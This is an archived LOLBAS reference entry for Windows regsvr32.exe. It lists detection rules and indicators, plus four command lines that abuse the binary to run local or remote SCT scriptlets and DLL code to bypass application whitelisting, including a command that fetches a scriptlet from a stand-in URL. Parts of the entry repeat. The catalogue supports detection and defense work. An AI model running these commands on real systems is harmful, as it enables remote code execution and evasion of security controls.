Regsvr32 on LOLBAS
Archived: 2026-04-05 17:34:21 UTC
.. /Regsvr32.exe
Used by Windows to register dlls
Paths:
C:\Windows\System32\regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe
Resources:
https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md
Acknowledgements:
Casey Smith (@subtee)
Detections:
Sigma: proc_creation_win_regsvr32_susp_parent.yml
Sigma: proc_creation_win_regsvr32_susp_child_process.yml
Sigma: proc_creation_win_regsvr32_susp_exec_path_1.yml
Sigma: proc_creation_win_regsvr32_network_pattern.yml
Sigma: net_connection_win_regsvr32_network_activity.yml
Sigma: dns_query_win_regsvr32_network_activity.yml
Sigma: proc_creation_win_regsvr32_flags_anomaly.yml
Sigma: file_event_win_net_cli_artefact.yml
Splunk: detect_regsvr32_application_control_bypass.yml
Elastic: defense_evasion_suspicious_managedcode_host_process.toml
Elastic: execution_register_server_program_connecting_to_the_internet.toml
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log
AWL bypass
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
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1. Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:https://www.example.org/file.sct scrobj.dll
Use case
Execute code from remote scriptlet, bypass Application whitelisting
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1218.010: Regsvr32
Tags
Execute: SCT
Execute: Remote
2. Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll
Use case
Execute code from scriptlet, bypass Application whitelisting
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1218.010: Regsvr32
Tags
Execute: SCT
Execute
1. Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:https://www.example.org/file.sct scrobj.dll
Use case
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
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Execute code from remote scriptlet, bypass Application whitelisting
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1218.010: Regsvr32
Tags
Execute: SCT
Execute: Remote
2. Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll
Use case
Execute code from scriptlet, bypass Application whitelisting
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1218.010: Regsvr32
Tags
Execute: SCT
3. Execute code in a DLL. The code must be inside the exported function DllRegisterServer .
regsvr32.exe /s file.dll
Use case
Execute DLL file
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1218.010: Regsvr32
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
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Tags
Execute: DLL
4. Execute code in a DLL. The code must be inside the exported function DllUnRegisterServer .
regsvr32.exe /u /s file.dll
Use case
Execute DLL file
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1218.010: Regsvr32
Tags
Execute: DLL
Source: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
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